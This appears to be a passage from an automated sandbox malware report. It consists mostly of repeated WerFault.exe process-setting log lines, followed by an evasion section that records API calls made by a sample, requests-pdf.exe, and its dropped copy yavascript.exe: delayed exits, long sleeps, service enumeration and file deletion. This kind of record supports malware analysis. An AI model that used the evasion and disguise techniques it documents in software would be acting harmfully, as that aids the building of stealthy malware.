              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX

              Malware Analysis System Evasion

              barindex
              Delayed program exit found
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_0040E54F Sleep,ExitProcess,0_2_0040E54F
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_024DE7B6 Sleep,ExitProcess,0_2_024DE7B6
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 15_2_0040E54F Sleep,ExitProcess,15_2_0040E54F
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 15_2_024FE7B6 Sleep,ExitProcess,15_2_024FE7B6
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 25_2_0040E54F Sleep,ExitProcess,25_2_0040E54F
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: 25_2_024EE7B6 Sleep,ExitProcess,25_2_024EE7B6
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: OpenSCManagerA,EnumServicesStatusW,GetLastError,EnumServicesStatusW,OpenServiceW,QueryServiceConfigW,GetLastError,QueryServiceConfigW,CloseServiceHandle,CloseServiceHandle,0_2_004198C2
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: OpenSCManagerA,EnumServicesStatusW,GetLastError,EnumServicesStatusW,OpenServiceW,QueryServiceConfigW,GetLastError,QueryServiceConfigW,CloseServiceHandle,CloseServiceHandle,0_2_024E9B29
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: OpenSCManagerA,EnumServicesStatusW,GetLastError,EnumServicesStatusW,OpenServiceW,QueryServiceConfigW,GetLastError,QueryServiceConfigW,CloseServiceHandle,CloseServiceHandle,15_2_004198C2
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: OpenSCManagerA,EnumServicesStatusW,GetLastError,EnumServicesStatusW,OpenServiceW,QueryServiceConfigW,GetLastError,QueryServiceConfigW,CloseServiceHandle,CloseServiceHandle,15_2_02509B29
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: OpenSCManagerA,EnumServicesStatusW,GetLastError,EnumServicesStatusW,OpenServiceW,QueryServiceConfigW,GetLastError,QueryServiceConfigW,CloseServiceHandle,CloseServiceHandle,25_2_004198C2
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeCode function: OpenSCManagerA,EnumServicesStatusW,GetLastError,EnumServicesStatusW,OpenServiceW,QueryServiceConfigW,GetLastError,QueryServiceConfigW,CloseServiceHandle,CloseServiceHandle,25_2_024F9B29
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeWindow / User API: threadDelayed 5739Jump to behavior
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeWindow / User API: threadDelayed 4255Jump to behavior
              Source: C:\Users\user\Desktop\requests-pdf.exeEvaded block: after key decisiongraph_0-88577
              Source: C:\Users\user\Desktop\requests-pdf.exeEvaded block: after key decisiongraph_0-88603
              Source: C:\Users\user\Desktop\requests-pdf.exeAPI coverage: 3.5 %
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeAPI coverage: 6.2 %
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exeAPI coverage: 3.2 %
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exe TID: 7928Thread sleep count: 5739 > 30Jump to behavior
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exe TID: 7928Thread sleep time: -17217000s >= -30000sJump to behavior
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exe TID: 7928Thread sleep count: 4255 > 30Jump to behavior
              Source: C:\Users\user\AppData\Roaming\xenor\yavascript.exe TID: 7928Thread sleep time: -12765000s >= -30000sJump to behavior
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_0040B335 FindFirstFileA,FindClose,DeleteFileA,GetLastError,DeleteFileA,GetLastError,FindNextFileA,FindClose,0_2_0040B335
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_0041B42F FindFirstFileW,FindNextFileW,RemoveDirectoryW,SetFileAttributesW,DeleteFileW,FindClose,RemoveDirectoryW,GetLastError,FindClose,0_2_0041B42F
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_0040B53A FindFirstFileA,FindClose,DeleteFileA,GetLastError,FindNextFileA,FindClose,FindClose,0_2_0040B53A
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_0044D5E9 FindFirstFileExA,0_2_0044D5E9
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_004089A9 __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,FindClose,__CxxThrowException@8,0_2_004089A9
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_00406AC2 FindFirstFileW,FindNextFileW,0_2_00406AC2
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_00407A8C __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,__CxxThrowException@8,0_2_00407A8C
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_00418C69 FindFirstFileW,FindNextFileW,FindNextFileW,0_2_00418C69
              Source: C:\Users\user\Desktop\requests-pdf.exeCode function: 0_2_00408DA7 __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,0_2_00408DA7
